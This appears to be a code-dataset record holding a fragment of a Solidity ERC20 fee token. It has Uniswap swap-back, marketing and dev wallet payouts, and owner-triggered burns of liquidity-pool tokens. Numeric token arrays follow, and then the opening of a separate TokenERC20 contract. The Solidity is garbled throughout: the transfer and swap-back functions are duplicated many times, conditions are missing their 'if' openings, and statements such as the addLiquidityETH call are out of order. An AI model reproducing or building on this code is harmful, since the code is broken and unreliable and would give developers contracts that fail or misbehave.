"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
address(this),
tokenAmount,
deadAddress,
block.timestamp
);
}
uniswapV2Router.addLiquidityETH{value: ethAmount}(
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
(success, ) = address(devWallet).call{value: ethForDev}("");
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
pair.sync();
emit AutoNukeLP();
return true;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
pair.sync();
emit AutoNukeLP();
return true;
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
pair.sync();
emit ManualNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
pair.sync();
emit ManualNukeLP();
return true;
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
} | 16,107,481 | [
1,
14925,
77,
17,
4819,
471,
30959,
17,
3350,
5349,
7990,
471,
3152,
431,
17704,
1317,
628,
1656,
281,
471,
943,
2492,
3844,
1707,
6138,
716,
279,
5859,
13667,
312,
6388,
5574,
18,
5502,
7412,
358,
4259,
6138,
3377,
506,
3221,
358,
279,
4207,
7412,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
348,
23287,
353,
4232,
39,
3462,
16,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
1071,
11732,
640,
291,
91,
438,
58,
22,
8259,
31,
203,
565,
1758,
1071,
11732,
640,
291,
91,
438,
58,
22,
4154,
31,
203,
565,
1758,
1071,
5381,
8363,
1887,
273,
1758,
12,
20,
92,
22097,
1769,
203,
203,
565,
1426,
3238,
7720,
1382,
31,
203,
203,
565,
1758,
1071,
13667,
310,
16936,
31,
203,
565,
1758,
1071,
4461,
16936,
31,
203,
203,
565,
2254,
5034,
1071,
943,
3342,
6275,
31,
203,
565,
2254,
5034,
1071,
7720,
5157,
861,
6275,
31,
203,
565,
2254,
5034,
1071,
943,
16936,
31,
203,
203,
565,
1426,
1071,
12423,
38,
321,
1526,
273,
629,
31,
203,
565,
2254,
5034,
1071,
12423,
38,
321,
13865,
273,
12396,
3974,
31,
203,
565,
2254,
5034,
1071,
1142,
48,
84,
38,
321,
950,
31,
203,
203,
565,
2254,
5034,
1071,
11297,
38,
321,
13865,
273,
5196,
6824,
31,
203,
565,
2254,
5034,
1071,
1142,
25139,
48,
84,
38,
321,
950,
31,
203,
203,
565,
1426,
1071,
8181,
382,
12477,
273,
638,
31,
203,
565,
1426,
1071,
1284,
7459,
3896,
273,
629,
31,
203,
565,
1426,
1071,
7720,
1526,
273,
629,
31,
203,
203,
565,
1426,
1071,
7412,
6763,
1526,
273,
638,
31,
203,
203,
565,
2254,
5034,
1071,
30143,
5269,
2954,
281,
31,
203,
565,
2254,
5034,
1071,
30143,
3882,
21747,
14667,
31,
203,
565,
2254,
5034,
1071,
30143,
48,
2
]
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
